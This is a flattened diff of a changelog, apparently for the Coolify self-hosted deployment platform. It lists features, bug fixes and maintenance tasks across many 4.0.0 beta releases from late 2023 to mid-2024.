Make server charts one livewire component with one interval selector -- You can now add env variable from ui to services -- Update compose environment with UI defined variables -- Refresh deployable compose without reload -- Remove cloud stripe notifications -- App deployment should be in high queue -- Remove zoom from modals -- Get envs before sortby -- MB is % lol -- Projects with 0 envs - -### 💼 Other - -- Unnecessary notification - -### 🚜 Refactor - -- Update text color for stderr output in deployment show view -- Update text color for stderr output in deployment show view -- Remove debug code for saving environment variables -- Update Docker build commands for better performance and flexibility -- Update image sizes and add new logos to README.md -- Update README.md with new logos and fix styling -- Update shared.php to use correct key for retrieving sentinel version -- Update container name assignment in Application model -- Remove commented code for docker container removal -- Update Application model to include getDomainsByUuid method -- Update Project/Show component to sort environments by created_at -- Update profile index view to display 2FA QR code in a centered container -- Update dashboard.blade.php to use project's default environment for redirection -- Update gitCommitLink method to handle null values in source.html_url -- Update docker-compose generation to use multi-line literal block - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.298 -- Switch to database sessions from redis -- Update dependencies and remove unused code -- Update tailwindcss and vue versions in package.json -- Update service template URL in constants.php -- Update sentinel version to 0.0.8 -- Update chart styling and loading text -- Update sentinel version to 0.0.9 -- Update Spanish translation for failed authentication messages -- Add portuguese traslation -- Add Turkish translations -- Add Vietnamese translate -- Add Treive logo to donations section -- Update README.md with latest release version badge -- Update latest release version badge in README.md -- Update version to 4.0.0-beta.299 -- Move server delete component to the bottom of the page -- Update version to 4.0.0-beta.301 - -## [4.0.0-beta.297] - 2024-06-11 - -### 🚀 Features - -- Easily redirect between www-and-non-www domains -- Add logos for new sponsors -- Add homepage template -- Update homepage.yaml with environment variables and volumes - -### 🐛 Bug Fixes - -- Multiline build args -- Setup script doesnt link to the correct source code file -- Install.sh do not reinstall packages on arch -- Just restart - -### 🚜 Refactor - -- Replaces duplications in code with a single function - -### ⚙️ Miscellaneous Tasks - -- Update page title in resource index view -- Update logo file path in logto.yaml -- Update logo file path in logto.yaml -- Remove commented out code for docker container removal -- Add isAnyDeploymentInprogress function to check if any deployments are in progress -- Add ApplicationDeploymentJob and pint.json - -## [4.0.0-beta.295] - 2024-06-10 - -### 🚀 Features - -- Able to change database passwords on the UI. It won't sync to the database. -- Able to add several domains to compose based previews -- Add bounty program link to bug report template -- Add titles -- Db proxy logs - -### 🐛 Bug Fixes - -- Custom docker compose commands, add project dir if needed -- Autoupdate process -- Backup executions view -- Handle previously defined compose previews -- Sort backup executions -- Supabase service, newest versions -- Set default name for Docker volumes if it is null -- Multiline variable should be literal + should be multiline in bash with \ -- Gitlab merge request should close PR - -### 💼 Other - -- Rocketchat -- New services based git apps - -### 🚜 Refactor - -- Append utm_source parameter to documentation URL -- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview -- Update deployment previews heading to "Deployments" -- Remove unused variables and improve code readability -- Initialize null properties in Github Change component -- Improve pre and post deployment command inputs -- Improve handling of Docker volumes in parseDockerComposeFile function - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.295 -- Update supported OS list with almalinux -- Update install.sh to support PopOS -- Update install.sh script to version 1.3.2 and handle Linux Mint as Ubuntu - -## [4.0.0-beta.294] - 2024-06-04 - -### ⚙️ Miscellaneous Tasks - -- Update Dockerfile with latest versions of Docker, Docker Compose, Docker Buildx, Pack, and Nixpacks - -## [4.0.0-beta.289] - 2024-05-29 - -### 🚀 Features - -- Add PHP memory limit environment variable to docker-compose.prod.yml -- Add manual update option to UpdateCoolify handle method -- Add port configuration for Vaultwarden service - -### 🐛 Bug Fixes - -- Sync upgrade process -- Publish horizon -- Add missing team model -- Test new upgrade process? -- Throw exception -- Build server dirs not created on main server -- Compose load with non-root user -- Able to redeploy dockerfile based apps without cache -- Compose previews does have env variables -- Fine-tune cdn pulls -- Spamming :D -- Parse docker version better -- Compose issues -- SERVICE_FQDN has source port in it -- Logto service -- Allow invitations via email -- Sort by defined order + fixed typo -- Only ignore volumes with driver_opts -- Check env in args for compose based apps - -### 🚜 Refactor - -- Update destination.blade.php to add group class for better styling -- Applicationdeploymentjob -- Improve code structure in ApplicationDeploymentJob.php -- Remove unnecessary debug statement in ApplicationDeploymentJob.php -- Remove unnecessary debug statements and improve code structure in RunRemoteProcess.php and ApplicationDeploymentJob.php -- Remove unnecessary logging statements from UpdateCoolify -- Update storage form inputs in show.blade.php -- Improve Docker Compose parsing for services -- Remove unnecessary port appending in updateCompose function -- Remove unnecessary form class in profile index.blade.php -- Update form layout in invite-link.blade.php -- Add log entry when starting new application deployment -- Improve Docker Compose parsing for services -- Update Docker Compose parsing for services -- Update slogan in shlink.yaml -- Improve display of deployment time in index.blade.php -- Remove commented out code for clearing Ray logs -- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview - -### ⚙️ Miscellaneous Tasks - -- Update for version 289 -- Fix formatting issue in deployment index.blade.php file -- Remove unnecessary wire:navigate attribute in breadcrumbs.blade.php -- Rename docker dirs -- Update laravel/socialite to version v5.14.0 and livewire/livewire to version 3.4.9 -- Update modal styles for better user experience -- Update deployment index.blade.php script for better performance -- Update version numbers to 4.0.0-beta.290 -- Update version numbers to 4.0.0-beta.291 -- Update version numbers to 4.0.0-beta.292 -- Update version numbers to 4.0.0-beta.293 -- Add upgrade guide link to upgrade.blade.php -- Improve upgrade.blade.php with clearer instructions and formatting -- Update version numbers to 4.0.0-beta.294 -- Add Lightspeed.run as a sponsor -- Update Dockerfile to install vim - -## [4.0.0-beta.288] - 2024-05-28 - -### 🐛 Bug Fixes - -- Do not allow service storage mount point modifications -- Volume adding - -### ⚙️ Miscellaneous Tasks - -- Update Sentry release version to 4.0.0-beta.288 - -## [4.0.0-beta.287] - 2024-05-27 - -### 🚀 Features - -- Handle incomplete expired subscriptions in Stripe webhook -- Add more persistent storage types - -### 🐛 Bug Fixes - -- Force load services from cdn on reload list - -### ⚙️ Miscellaneous Tasks - -- Update Sentry release version to 4.0.0-beta.287 -- Add Thompson Edolo as a sponsor -- Add null checks for team in Stripe webhook - -## [4.0.0-beta.286] - 2024-05-27 - -### 🚀 Features - -- If the time seems too long it remains at 0s -- Improve Docker Engine start logic in ServerStatusJob -- If proxy stopped manually, it won't start back again -- Exclude_from_hc magic -- Gitea manual webhooks -- Add container logs in case the container does not start healthy - -### 🐛 Bug Fixes - -- Wrong time during a failed deployment -- Removal of the failed deployment condition, addition of since started instead of finished time -- Use local versions + service templates and query them every 10 minutes -- Check proxy functionality before removing unnecessary coolify.yaml file and checking Docker Engine -- Show first 20 users only in admin view -- Add subpath for services -- Ghost subdir -- Do not pull templates in dev -- Templates -- Update error message for invalid token to mention invalid signature -- Disable containerStopped job for now -- Disable unreachable/revived notifications for now -- JSON_UNESCAPED_UNICODE -- Add wget to nixpacks builds -- Pre and post deployment commands -- Bitbucket commits link -- Better way to add curl/wget to nixpacks -- Root team able to download backups -- Build server should not have a proxy -- Improve build server functionalities -- Sentry issue -- Sentry -- Sentry error + livewire downgrade -- Sentry -- Sentry -- Sentry error -- Sentry - -### 🚜 Refactor - -- Update edit-domain form in project service view -- Add Huly services to compose file -- Remove redundant heading in backup settings page -- Add isBuildServer method to Server model -- Update docker network creation in ApplicationDeploymentJob - -### ⚙️ Miscellaneous Tasks - -- Change pre and post deployment command length in applications table -- Refactor container name logic in GetContainersStatus.php and ForcePasswordReset.php -- Remove unnecessary content from Docker Compose file - -## [4.0.0-beta.285] - 2024-05-21 - -### 🚀 Features - -- Add SerpAPI as a Github Sponsor -- Admin view for deleting users -- Scheduled task failed notification - -### 🐛 Bug Fixes - -- Optimize new resource creation -- Show it docker compose has syntax errors - -### 💼 Other - -- Responsive here and there - -## [4.0.0-beta.284] - 2024-05-19 - -### 🚀 Features - -- Add hc logs to healthchecks - -### ◀️ Revert - -- Hc return code check - -## [4.0.0-beta.283] - 2024-05-17 - -### 🚀 Features - -- Update healthcheck test in StartMongodb action -- Add pull_request_id filter to get_last_successful_deployment method in Application model - -### 🐛 Bug Fixes - -- PR deployments have good predefined envs - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.283 - -## [4.0.0-beta.281] - 2024-05-17 - -### 🚀 Features - -- Shows the latest deployment commit + message on status -- New manual update process + remove next_channel -- Add lastDeploymentInfo and lastDeploymentLink props to breadcrumbs and status components -- Sort envs alphabetically and creation date -- Improve sorting of environment variables in the All component - -### 🐛 Bug Fixes - -- Hc from localhost to 127.0.0.1 -- Use rc in hc -- Telegram group chat notifications - -## [4.0.0-beta.280] - 2024-05-16 - -### 🐛 Bug Fixes - -- Commit message length - -## [4.0.0-beta.279] - 2024-05-16 - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.279 -- Limit commit message length to 50 characters in ApplicationDeploymentJob - -## [4.0.0-beta.278] - 2024-05-16 - -### 🚀 Features - -- Adding new COOLIFY_ variables -- Save commit message and better view on deployments -- Toggle label escaping mechanism - -### 🐛 Bug Fixes - -- Use commit hash on webhooks - -### ⚙️ Miscellaneous Tasks - -- Refactor Service.php to handle missing admin user in extraFields() method -- Update twenty CRM template with environment variables and dependencies -- Refactor applications.php to remove unused imports and improve code readability -- Refactor deployment index.blade.php for improved readability and rollback handling -- Refactor GitHub app selection UI in project creation form -- Update ServerLimitCheckJob.php to handle missing serverLimit value -- Remove unnecessary code for saving commit message -- Update DOCKER_VERSION to 26.0 in install.sh script -- Update Docker and Docker Compose versions in Dockerfiles - -## [4.0.0-beta.277] - 2024-05-10 - -### 🚀 Features - -- Add AdminRemoveUser command to remove users from the database - -### 🐛 Bug Fixes - -- Color for resource operation server and project name -- Only show realtime error on non-cloud instances -- Only allow push and mr gitlab events -- Improve scheduled task adding/removing -- Docker compose dependencies for pr previews -- Properly populating dependencies - -### 💼 Other - -- Fix a few boxes here and there - -### ⚙️ Miscellaneous Tasks - -- Update version numbers to 4.0.0-beta.278 -- Update hover behavior and cursor style in scheduled task executions view -- Refactor scheduled task view to improve code readability and maintainability -- Skip scheduled tasks if application or service is not running -- Remove debug logging statements in Kernel.php -- Handle invalid cron strings in Kernel.php - -## [4.0.0-beta.275] - 2024-05-06 - -### 🚀 Features - -- Add container name to network aliases in ApplicationDeploymentJob -- Add lazy loading for images in General.php and improve Docker Compose file handling in Application.php -- Experimental sentinel -- Start Sentinel on servers. -- Pull new sentinel image and restart container -- Init metrics - -### 🐛 Bug Fixes - -- Typo in tags.blade.php -- Install.sh error -- Env file -- Comment out internal notification in email_verify method -- Confirmation for custom labels -- Change permissions on newly created dirs - -### 💼 Other - -- Fix tag view - -### 🚜 Refactor - -- Add SCHEDULER environment variable to StartSentinel.php - -### ⚙️ Miscellaneous Tasks - -- Dark mode should be the default -- Improve menu item styling and spacing in service configuration and index views -- Improve menu item styling and spacing in service configuration and index views -- Improve menu item styling and spacing in project index and show views -- Remove docker compose versions -- Add Listmonk service template and logo -- Refactor GetContainersStatus.php for improved readability and maintainability -- Refactor ApplicationDeploymentJob.php for improved readability and maintainability -- Add metrics and logs directories to installation script -- Update sentinel version to 0.0.2 in versions.json -- Update permissions on metrics and logs directories -- Comment out server sentinel check in ServerStatusJob - -## [4.0.0-beta.273] - 2024-05-03 - -### 🐛 Bug Fixes - -- Formbricks image origin -- Add port even if traefik is used - -### ⚙️ Miscellaneous Tasks - -- Update version to 4.0.0-beta.275 -- Update DNS server validation helper text - -## [4.0.0-beta.267] - 2024-04-26 - -### 🚀 Features - -- Initial datalist -- Update service contribution docs URL -- The final pricing plan, pay-as-you-go - -### 🐛 Bug Fixes - -- Move s3 storages to separate view -- Mongo db backup -- Backups -- Autoupdate -- Respect start period and chekc interval for hc -- Parse HEALTHCHECK from dockerfile -- Make s3 name and endpoint required -- Able to update source path for predefined volumes -- Get logs with non-root user -- Mongo 4.0 db backup - -### 💼 Other - -- Update resource operations view - -### ◀️ Revert - -- Variable parsing - -## [4.0.0-beta.266] - 2024-04-24 - -### 🐛 Bug Fixes - -- Refresh public ips on start - -## [4.0.0-beta.259] - 2024-04-17 - -### 🚀 Features - -- Literal env variables -- Lazy load stuffs + tell user if compose based deployments have missing envs -- Can edit file/dir volumes from ui in compose based apps -- Upgrade Appwrite service template to 1.5 -- Upgrade Appwrite service template to 1.5 -- Add db name to backup notifications - -### 🐛 Bug Fixes - -- Helper image only pulled if required, not every 10 mins -- Make sure that confs when checking if it is changed sorted -- Respect .env file (for default values) -- Remove temporary cloudflared config -- Remove lazy loading until bug figured out -- Rollback feature -- Base64 encode .env -- $ in labels escaped -- .env saved to deployment server, not to build server -- Do no able to delete gh app without deleting resources -- 500 error on edge case -- Able to select server when creating new destination -- N8n template - -### 💼 Other - -- Non-root user for remote servers -- Non-root - -## [4.0.0-beta.258] - 2024-04-12 - -### 🚀 Features - -- Dynamic mux time - -### 🐛 Bug Fixes - -- Check each required binaries one-by-one - -## [4.0.0-beta.256] - 2024-04-12 - -### 🚀 Features - -- Upload large backups -- Edit domains easier for compose -- Able to delete configuration from server -- Configuration checker for all resources -- Allow tab in textarea - -### 🐛 Bug Fixes - -- Service config hash update -- Redeploy if image not found in restart only mode - -### 💼 Other - -- New pricing -- Fix allowTab logic -- Use 2 space instead of tab - -## [4.0.0-beta.252] - 2024-04-09 - -### 🚀 Features - -- Add amazon linux 2023 - -### 🐛 Bug Fixes - -- Git submodule update -- Unintended left padding on sidebar -- Hashed random delimeter in ssh commands + make sure to remove the delimeter from the command - -## [4.0.0-beta.250] - 2024-04-05 - -### 🚀 Features - -- *(application)* Update submodules after git checkout - -## [4.0.0-beta.249] - 2024-04-03 - -### 🚀 Features - -- Able to make rsa/ed ssh keys - -### 🐛 Bug Fixes - -- Warning if you use multiple domains for a service -- New github app creation -- Always rebuild Dockerfile / dockerimage buildpacks -- Do not rebuild dockerfile based apps twice -- Make sure if envs are changed, rebuild is needed -- Members cannot manage subscriptions -- IsMember -- Storage layout -- How to update docker-compose, environment variables and fqdns - -### 💼 Other - -- Light buttons -- Multiple server view - -## [4.0.0-beta.242] - 2024-03-25 - -### 🚀 Features - -- Change page width -- Watch paths - -### 🐛 Bug Fixes - -- Compose env has SERVICE, but not defined for Coolify -- Public service database -- Make sure service db proxy restarted -- Restart service db proxies -- Two factor -- Ui for tags -- Update resources view -- Realtime connection check -- Multline env in dev mode -- Scheduled backup for other service databases (supabase) -- PR deployments should not be distributed to 2 servers -- Name/from address required for resend -- Autoupdater -- Async service loads -- Disabled inputs are not trucated -- Duplicated generated fqdns are now working -- Uis -- Ui for cftunnels -- Search services -- Trial users subscription page -- Async public key loading -- Unfunctional server should see resources - -### 💼 Other - -- Run cleanup every day -- Fix -- Fix log outputs -- Automatic cloudflare tunnels -- Backup executions - -## [4.0.0-beta.241] - 2024-03-20 - -### 🚀 Features - -- Able to run scheduler/horizon programatically - -### 🐛 Bug Fixes - -- Volumes for prs -- Shared env variable parsing - -### 💼 Other - -- Redesign -- Redesign - -## [4.0.0-beta.240] - 2024-03-18 - -### 🐛 Bug Fixes - -- Empty get logs number of lines -- Only escape envs after v239+ -- 0 in env value -- Consistent container name -- Custom ip address should turn off rolling update -- Multiline input -- Raw compose deployment -- Dashboard view if no project found - -## [4.0.0-beta.239] - 2024-03-14 - -### 🐛 Bug Fixes - -- Duplicate dockerfile -- Multiline env variables -- Server stopped, service page not reachable - -## [4.0.0-beta.237] - 2024-03-14 - -### 🚀 Features - -- Domains api endpoint -- Resources api endpoint -- Team api endpoint -- Add deployment details to deploy endpoint -- Add deployments api -- Experimental caddy support -- Dynamic configuration for caddy -- Reset password -- Show resources on source page - -### 🐛 Bug Fixes - -- Deploy api messages -- Fqdn null in case docker compose bp -- Reload caddy issue -- /realtime endpoint -- Proxy switch -- Service ports for services + caddy -- Failed deployments should send failed email/notification -- Consider custom healthchecks in dockerfile -- Create initial files async -- Docker compose validation - -## [4.0.0-beta.235] - 2024-03-05 - -### 🐛 Bug Fixes - -- Should note delete personal teams -- Make sure to show some buttons -- Sort repositories by name - -## [4.0.0-beta.224] - 2024-02-23 - -### 🚀 Features - -- Custom server limit -- Delay container/server jobs -- Add static ipv4 ipv6 support -- Server disabled by overflow -- Preview deployment logs -- Collect webhooks during maintenance -- Logs and execute commands with several servers - -### 🐛 Bug Fixes - -- Subscription / plan switch, etc -- Firefly service -- Force enable/disable server in case ultimate package quantity decreases -- Server disabled -- Custom dockerfile location always checked -- Import to mysql and mariadb -- Resource tab not loading if server is not reachable -- Load unmanaged async -- Do not show n/a networsk -- Service container status updates -- Public prs should not be commented -- Pull request deployments + build servers -- Env value generation -- Sentry error -- Service status updated - -### 💼 Other - -- Change + icon to hamburger. - -## [4.0.0-beta.222] - 2024-02-22 - -### 🚀 Features - -- Able to add dynamic configurations from proxy dashboard - -### 🐛 Bug Fixes - -- Connections being stuck and not processed until proxy restarts -- Use latest image if nothing is specified -- No coolify.yaml found -- Server validation -- Statuses -- Unknown image of service until it is uploaded - -## [4.0.0-beta.220] - 2024-02-19 - -### 🚀 Features - -- Save github app permission locally -- Minversion for services - -### 🐛 Bug Fixes - -- Add openbsd ssh server check -- Resources -- Empty build variables -- *(server)* Revalidate server button not showing in server's page -- Fluent bit ident level -- Submodule cloning -- Database status -- Permission change updates from webhook -- Server validation - -### 💼 Other - -- Updates - -## [4.0.0-beta.213] - 2024-02-12 - -### 🚀 Features - -- Magic for traefik redirectregex in services -- Revalidate server -- Disable gzip compression on service applications - -### 🐛 Bug Fixes - -- Cleanup scheduled tasks -- Padding left on input boxes -- Use ls / command instead ls -- Do not add the same server twice -- Only show redeployment required if status is not exited - -## [4.0.0-beta.212] - 2024-02-08 - -### 🚀 Features - -- Cleanup queue - -### 🐛 Bug Fixes - -- New menu on navbar -- Make sure resources are deleted in async mode -- Go to prod env from dashboard if there is no other envs defined -- User proper image_tag, if set -- New menu ui -- Lock logdrain configuration when one of them are enabled -- Add docker compose check during server validation -- Get service stack as uuid, not name -- Menu -- Flex wrap deployment previews -- Boolean docker options -- Only add 'networks' key if 'network_mode' is absent - -## [4.0.0-beta.206] - 2024-02-05 - -### 🚀 Features - -- Clone to env -- Multi deployments - -### 🐛 Bug Fixes - -- Wrap tags and avoid horizontal overflow -- Stripe webhooks -- Feedback from self-hosted envs to discord - -### 💼 Other - -- Specific about newrelic logdrains - -## [4.0.0-beta.201] - 2024-01-29 - -### 🚀 Features - -- Added manual webhook support for bitbucket -- Add initial support for custom docker run commands -- Cleanup unreachable servers -- Tags and tag deploy webhooks - -### 🐛 Bug Fixes - -- Bitbucket manual deployments -- Webhooks for multiple apps -- Unhealthy deployments should be failed -- Add env variables for wordpress template without database -- Service deletion function -- Service deletion fix -- Dns validation + duplicated fqdns -- Validate server navbar upated -- Regenerate labels on application clone -- Service deletion -- Not able to use other shared envs -- Sentry fix -- Sentry -- Sentry error -- Sentry -- Sentry error -- Create dynamic directory -- Migrate to new modal -- Duplicate domain check -- Tags - -### 💼 Other - -- New modal component - -## [4.0.0-beta.188] - 2024-01-11 - -### 🚀 Features - -- Search between resources -- Move resources between projects / environments -- Clone any resource -- Shared environments -- Concurrent builds / server -- Able to deploy multiple resources with webhook -- Add PR comments -- Dashboard live deployment view - -### 🐛 Bug Fixes - -- Preview deployments with nixpacks -- Cleanup docker stuffs before upgrading -- Service deletion command -- Cpuset limits was determined in a way that apps only used 1 CPU max, ehh, sorry. -- Service stack view -- Change proxy view -- Checkbox click -- Git pull command for deploy key based previews -- Server status job -- Service deletion bug! -- Links -- Redis custom conf -- Sentry error -- Restrict concurrent deployments per server -- Queue -- Change env variable length - -### 💼 Other - -- Send notification email if payment - -### 🚜 Refactor - -- Compose file and install script - -## [4.0.0-beta.186] - 2024-01-11 - -### 🚀 Features - -- Import backups - -### 🐛 Bug Fixes - -- Do not include thegameplan.json into build image -- Submit error on postgresql -- Email verification / forgot password -- Escape build envs properly for nixpacks + docker build -- Undead endpoint -- Upload limit on ui -- Save cmd output propely (merge) -- Load profile on remote commands -- Load profile and set envs on remote cmd -- Restart should not update config hash - -## [4.0.0-beta.184] - 2024-01-09 - -### 🐛 Bug Fixes - -- Healthy status -- Show framework based notification in build logs -- Traefik labels -- Use ip for sslip in dev if remote server is used -- Service labels without ports (unknown ports) -- Sort and rename (unique part) of labels -- Settings menu -- Remove traefik debug in dev mode -- Php pgsql to 8.2 -- Static buildpack should set port 80 -- Update navbar on build_pack change - -## [4.0.0-beta.183] - 2024-01-06 - -### 🚀 Features - -- Add www-non-www redirects to traefik - -### 🐛 Bug Fixes - -- Database env variables - -## [4.0.0-beta.182] - 2024-01-04 - -### 🐛 Bug Fixes - -- File storage save - -## [4.0.0-beta.181] - 2024-01-03 - -### 🐛 Bug Fixes - -- Nixpacks buildpack - -## [4.0.0-beta.180] - 2024-01-03 - -### 🐛 Bug Fixes - -- Nixpacks cache -- Only add restart policy if its empty (compose) - -## [4.0.0-beta.179] - 2024-01-02 - -### 🐛 Bug Fixes - -- Set deployment failed if new container is not healthy - -## [4.0.0-beta.177] - 2024-01-02 - -### 🚀 Features - -- Raw docker compose deployments - -### 🐛 Bug Fixes - -- Duplicate compose variable - -## [4.0.0-beta.176] - 2023-12-31 - -### 🐛 Bug Fixes - -- Horizon - -## [4.0.0-beta.175] - 2023-12-30 - -### 🚀 Features - -- Add environment description + able to change name - -### 🐛 Bug Fixes - -- Sub -- Wrong env variable parsing -- Deploy key + docker compose - -## [4.0.0-beta.174] - 2023-12-27 - -### 🐛 Bug Fixes - -- Restore falsely deleted coolify-db-backup - -## [4.0.0-beta.173] - 2023-12-27 - -### 🐛 Bug Fixes - -- Cpu limit to float from int -- Add source commit to final envs -- Routing, switch back to old one -- Deploy instead of restart in case swarm is used -- Button title - -## [4.0.0-beta.163] - 2023-12-15 - -### 🚀 Features - -- Custom docker compose commands - -### 🐛 Bug Fixes - -- Domains for compose bp -- No action in webhooks -- Add debug output to gitlab webhooks -- Do not push dockerimage -- Add alpha to swarm -- Server not found -- Do not autovalidate server on mount -- Server update schedule -- Swarm support ui -- Server ready -- Get swarm service logs -- Docker compose apps env rewritten -- Storage error on dbs -- Why?! -- Stay tuned - -### 💼 Other - -- Swarm -- Swarm - -## [4.0.0-beta.155] - 2023-12-11 - -### 🚀 Features - -- Autoupdate env during seed -- Disable autoupdate -- Randomly sleep between executions -- Pull latest images for services - -### 🐛 Bug Fixes - -- Do not send telegram noti on intent payment failed -- Database ui is realtime based -- Live mode for github webhooks -- Ui -- Realtime connection popup could be disabled -- Realtime check -- Add new destination -- Proxy logs -- Db status check -- Pusher host -- Add ipv6 -- Realtime connection?! -- Websocket -- Better handling of errors with install script -- Install script parse version -- Only allow to modify in .env file if AUTOUPDATE is set -- Is autoupdate not null -- Run init command after production seeder -- Init -- Comma in traefik custom labels -- Ignore if dynamic config could not be set -- Service env variable ovewritten if it has a default value -- Labelling -- Non-ascii chars in labels -- Labels -- Init script echos -- Update Coolify script -- Null notify -- Check queued deployments as well -- Copy invitation -- Password reset / invitation link requests -- Add catch all route -- Revert random container job delay -- Backup executions view -- Only check server status in container status job -- Improve server status check times -- Handle other types of generated values -- Server checking status -- Ui for adding new destination -- Reset domains on compose file change - -### 💼 Other - -- Fix for comma in labels -- Add image name to service stack + better options visibility - -### 🚜 Refactor - -- Service logs are now on one page -- Application status changed realtime -- Custom labels -- Clone project - -## [4.0.0-beta.154] - 2023-12-07 - -### 🚀 Features - -- Execute command in container - -### 🐛 Bug Fixes - -- Container selection -- Service navbar using new realtime events -- Do not create duplicated networks -- Live event -- Service start + event -- Service deletion job -- Double ws connection -- Boarding view - -### 💼 Other - -- Env vars -- Migrate to livewire 3 - -## [4.0.0-beta.124] - 2023-11-13 - -### 🚀 Features - -- Log drain (wip) -- Enable/disable log drain by service -- Log drainer container check -- Add docker engine support install script to rhel based systems -- Save timestamp configuration for logs -- Custom log drain endpoints -- Auto-restart tcp proxies for databases - -### 🐛 Bug Fixes - -- *(fider template)* Use the correct docs url -- Fqdn for minio -- Generate service fields -- Mariadb backups -- When to pull image -- Do not allow to enter local ip addresses -- Reset password -- Only report nonruntime errors -- Handle different label formats in services -- Server adding process -- Show defined resources in server tab, so you will know what you need to delete before you can delete the server. -- Lots of regarding git + docker compose deployments -- Pull request build variables -- Double default password length -- Do not remove deployment in case compose based failed -- No container servers -- Sentry issue -- Dockercompose save ./ volumes under /data/coolify -- Server view for link() -- Default value do not overwrite existing env value -- Use official install script with rancher (one will work for sure) -- Add cf tunnel to boarding server view -- Prevent autorefresh of proxy status -- Missing docker image thing -- Add hc for soketi -- Deploy the right compose file -- Bind volumes for compose bp -- Use hc port 80 in case of static build -- Switching to static build - -### 💼 Other - -- New deployment jobs -- Compose based apps -- Swarm -- Swarm -- Swarm -- Swarm -- Disable trial -- Meilisearch -- Broadcast -- 🌮 - -### 🚜 Refactor - -- Env variable generator - -### ◀️ Revert - -- Wip - -## [4.0.0-beta.109] - 2023-11-06 - -### 🚀 Features - -- Deployment logs fullscreen -- Service database backups -- Make service databases public - -### 🐛 Bug Fixes - -- Missing environment variables prevewi on service -- Invoice.paid should sleep for 5 seconds -- Local dev repo -- Deployments ui -- Dockerfile build pack fix -- Set labels on generate domain -- Network service parse -- Notification url in containerstatusjob -- Gh webhook response 200 to installation_repositories -- Delete destination -- No id found -- Missing $mailMessage -- Set default from/sender names -- No environments -- Telegram text -- Private key not found error +- Reload proxy on ssl cert +- Volume name +- Update process +- Check when a container is running +- Reload haproxy if new cert is added +- Cleanup coolify images +- Application state in UI +- Do not error if proxy is not running +- Personal Gitlab repos +- Autodeploy true by default for GH repos +- No cookie found +- Missing session data +- No error if GitSource is missing +- No webhook secret found? +- Basedir for dockerfiles +- Better queue system + more support on monorepos +- Remove build logs in case of app removed +- Cleanup old builds +- Only cleanup same app +- Add nginx + htaccess files +- Skip ssl cert in case of error +- Volumes +- Cleanup only 2 hours+ old images +- Ghost logo size +- Ghost icon, remove console.log +- List ghost services +- Reload window on settings saved +- Persistent storage on webhooks +- Add license +- Space in repo names +- Gitlab repo url +- No need to dashify anymore +- Registration enabled/disabled +- Add PROTO headers +- Haproxy errors +- Build variables +- Use NodeJS for sveltekit for now +- Ignore coolify proxy error for now +- Python no wsgi +- If user not found +- Rename envs to secrets +- Infinite loop on www domains +- No need to paste clear text env for previews +- Build log fix attempt #1 +- Small UI fix on logs +- Lets await! +- Async progress +- Remove console.log +- Build log - UI -- Resourcesdelete command -- Port number should be int -- Separate delete with validation of server -- Add nixpacks info -- Remove filter -- Container logs are now followable in full-screen and sorted by timestamp -- Ui for labels -- Ui -- Deletions -- Build_image not found -- Github source view -- Github source view -- Dockercleanupjob should be released back -- Ui -- Local ip address -- Revert workdir to basedir -- Container status jobs for old pr deployments -- Service updates - -## [4.0.0-beta.99] - 2023-10-24 - -### 🚀 Features - -- Improve deployment time by a lot - -### 🐛 Bug Fixes - -- Space in build args -- Lock SERVICE_FQDN envs -- If user is invited, that means its email is verified -- Force password reset on invited accounts -- Add ssh options to git ls-remote -- Git ls-remote -- Remove coolify labels from ui - -### 💼 Other - -- Fix subs - -## [4.0.0-beta.97] - 2023-10-20 - -### 🚀 Features - -- Standalone mongodb -- Cloning project -- Api tokens + deploy webhook -- Start all kinds of things -- Simple search functionality -- Mysql, mariadb -- Lock environment variables -- Download local backups - -### 🐛 Bug Fixes - -- Service docs links -- Add PGUSER to prevent HC warning -- Preselect s3 storage if available -- Port exposes change, shoud regenerate label -- Boarding -- Clone to with the same environment name -- Cleanup stucked resources on start -- Do not allow to delete env if a resource is defined -- Service template generator + appwrite -- Mongodb backup -- Make sure coolfiy network exists on install -- Syncbunny command -- Encrypt mongodb password -- Mongodb healtcheck command -- Rate limit for api + add mariadb + mysql -- Server settings guarded - -### 💼 Other - -- Generate services -- Mongodb backup -- Mongodb backup -- Updates - -## [4.0.0-beta.93] - 2023-10-18 - -### 🚀 Features - -- Able to customize docker labels on applications -- Show if config is not applied - -### 🐛 Bug Fixes - -- Setup:dev script & contribution guide -- Do not show configuration changed if config_hash is null -- Add config_hash if its null (old deployments) -- Label generation -- Labels -- Email channel no recepients -- Limit horizon processes to 2 by default -- Add custom port as ssh option to deploy_key based commands -- Remove custom port from git repo url -- ContainerStatus job - -### 💼 Other - -- PAT by team - -## [4.0.0-beta.92] - 2023-10-17 - -### 🐛 Bug Fixes - -- Proxy start process - -## [4.0.0-beta.91] - 2023-10-17 - -### 🐛 Bug Fixes - -- Always start proxy if not NONE is selected - -### 💼 Other - -- Add helper to service domains - -## [4.0.0-beta.90] - 2023-10-17 - -### 🐛 Bug Fixes - -- Only include config.json if its exists and a file - -### 💼 Other - -- Wordpress - -## [4.0.0-beta.89] - 2023-10-17 - -### 🐛 Bug Fixes - -- Noindex meta tag -- Show docker build logs - -## [4.0.0-beta.88] - 2023-10-17 - -### 🚀 Features - -- Use docker login credentials from server - -## [4.0.0-beta.87] - 2023-10-17 - -### 🐛 Bug Fixes - -- Service status check is a bit better -- Generate fqdn if you deleted a service app, but it requires fqdn -- Cancel any deployments + queue next -- Add internal domain names during build process - -## [4.0.0-beta.86] - 2023-10-15 - -### 🐛 Bug Fixes - -- Build image before starting dockerfile buildpacks - -## [4.0.0-beta.85] - 2023-10-14 - -### 🐛 Bug Fixes - -- Redis URL generated - -## [4.0.0-beta.83] - 2023-10-13 - -### 🐛 Bug Fixes - -- Docker hub URL - -## [4.0.0-beta.70] - 2023-10-09 - -### 🚀 Features - -- Add email verification for cloud -- Able to deploy docker images -- Add dockerfile location -- Proxy logs on the ui -- Add custom redis conf - -### 🐛 Bug Fixes - -- Server validation process -- Fqdn could be null -- Small -- Server unreachable count -- Do not reset unreachable count -- Contact docs -- Check connection -- Server saving -- No env goto envs from dashboard -- Goto -- Tcp proxy for dbs -- Database backups -- Only send email if transactional email set -- Backupfailed notification is forced -- Use port exposed for reverse proxy -- Contact link -- Use only ip addresses for servers -- Deleted team and it is the current one 